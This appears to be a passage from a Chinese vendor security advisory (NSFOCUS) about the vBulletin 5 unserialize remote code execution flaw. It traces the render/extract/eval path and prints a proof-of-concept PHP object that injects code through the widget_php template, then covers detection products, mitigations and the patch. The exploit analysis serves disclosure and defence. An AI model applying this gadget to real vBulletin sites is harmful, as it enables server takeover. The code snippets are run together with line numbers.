由上文可知,当前$this对象其实还是vB_View_AJAXHTML类的对象,因此进入了vB_View_AJAXHTML类的render()方法,由于定义了vB_View_AJAXHTML类的$content类对象。

12345678publicfunctionrender($send_content_headers=false){...if($this->content){=》$xml->add_tag('html',$this->content->render());}

类对象$content已经被赋值为vB5_Template类对象,因此会进入vB5_Template类的render()方法。

1234567891011121314publicfunctionrender($isParentTemplate=true,$isAjaxTemplateRender=false){$this->register('user',$user,true);extract(self::$globalRegistered,EXTR_SKIP|EXTR_REFS);=》extract($this->registered,EXTR_OVERWRITE|EXTR_REFS);...$templateCache=vB5_Template_Cache::instance();=》$templateCode=$templateCache->getTemplate($this->template);if($templateCache->isTemplateText()){=》@eval($templateCode);}

vB5_Template类的render()方法,此方法会执行extract()方法和eval()方法,并且都可以控制传入的参数,因此会导致代码执行。再看一次poc。

12345678910<?phpclassvB5_Template{public$tmpfile;protected$template;protected$registered=array();publicfunction__construct(){$this->template='widget_php';$this->registered['widgetConfig']=array('code'=>'print_r(\'hello manning\');die();');}}

也就是说,目前我们控制两个关键点。

  • 要执行的模板

  • 模板需要的参数

此时代码已经覆盖了$registered变量的widgetConfig索引,因此会把数组$widgetConfig注册到全局变量内,其var_dump为

12array(size=1)'code'=>string'print_r('hello manning');die();'(length=31)

然后模板widget_php存在

1$evaledPHP=vB5_Template_Runtime::parseAction('bbcode','evalCode',$widgetConfig['code']);

因此,导致代码执行。

0X02 漏洞总结

vBulletin 5系列通杀的代码执行漏洞,无难度getshell。这个漏洞可以说是php反序列化操作的最佳反面教程,讲述了使用反序列化不当,造成的严重后果。既可覆盖代码的上下文进行RCE,又可利用传统的方式在魔术方法中进行RCE。 影响范围个人评价为“高”,危害性个人评价为“高”,vBulletin在全球的使用范围非常广,此漏洞在vBulletin 5版本通杀。

0x03 漏洞检测

以绿盟WEB应用漏洞扫描系统(NSFOCUS Web Vulnerability Scanning System,简称:NSFOCUS WVSS)为例,对业务系统部署WVSS,在简单的配置后,即可获得全面快速的检测能力。该系统可自动获取网站包含的相关信息,并全面模拟网站访问的各种行为,比如按钮点击、鼠标移动、表单复杂填充等,通过内建的”安全模型”检测Web应用系统潜在的各种漏洞,同时为用户构建从急到缓的修补流程,满足安全检查工作中所需要的高效性和准确性。目前漏洞相关检测产品的升级情况如下:

产品名称功能升级后的版本号时间
WEB应用漏洞扫描系统(WVSS)检测Web应用系统潜在的各种漏洞V6.0R03F00.20本周
远程安全评估系统(RSAS)检测网络中的各类脆弱性风险V6.0R02F00.0120下周

升级办法

绿盟科技已在软件升级公告中提供规则升级包,规则可以通过产品界面的在线升级进行。如果您的业务系统暂时还无法升级规则包,那么可以在软件升级页面中,找到对应的产品,通过下载升级包,以离线方式进行升级。

相关升级信息请访问:

  • 安全产品介绍:http://www.nsfocus.com.cn/1_solution/1_2_1.html

  • 产品升级公告:http://update.nsfocus.com/

开发交流

另外,绿盟科技蜂巢社区启动应急机制,已经实现vBulletin远程代码执行漏洞的在线检测。在社区中,大家可以进行网络安全扫描插件的开发及讨论。从漏洞分析、代码开发、安全交流等多方面来提升自己的能力。同时,安全人员可以方便获取对应插件进行安全测试,共同维护互联网安全。此次vBulletin远程代码执行扫描插件就是大家共同开发及快速上线的。

]10 绿盟科技蜂巢开发者社区

加入蜂巢社区,请联系beehive@nsfocus.com,获得注册码。

0x04 防护方案

使用反序列化的地方增多了数据的种类,增大了风险。因此防护方案如下:

  • 使用反序列化结果的地方,检测是否存在危险操作

  • 尽量避免使用反序列化交互操作

升级补丁

对于个人用户最简单的办法,就是尽快通过vBulletin官方渠道获取升级补丁,补丁获取地址:http://members.vbulletin.com/patches.php

0X05 引用资料

  • http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq

  • http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/

  • http://blog.knownsec.com/2015/11/unserialize-exploit-with-vbulletin-5-x-x-remote-code-execution/

请关注绿盟科技博客 http://blog.nsfocus.net/vbulletin-5-rce-vulnerability/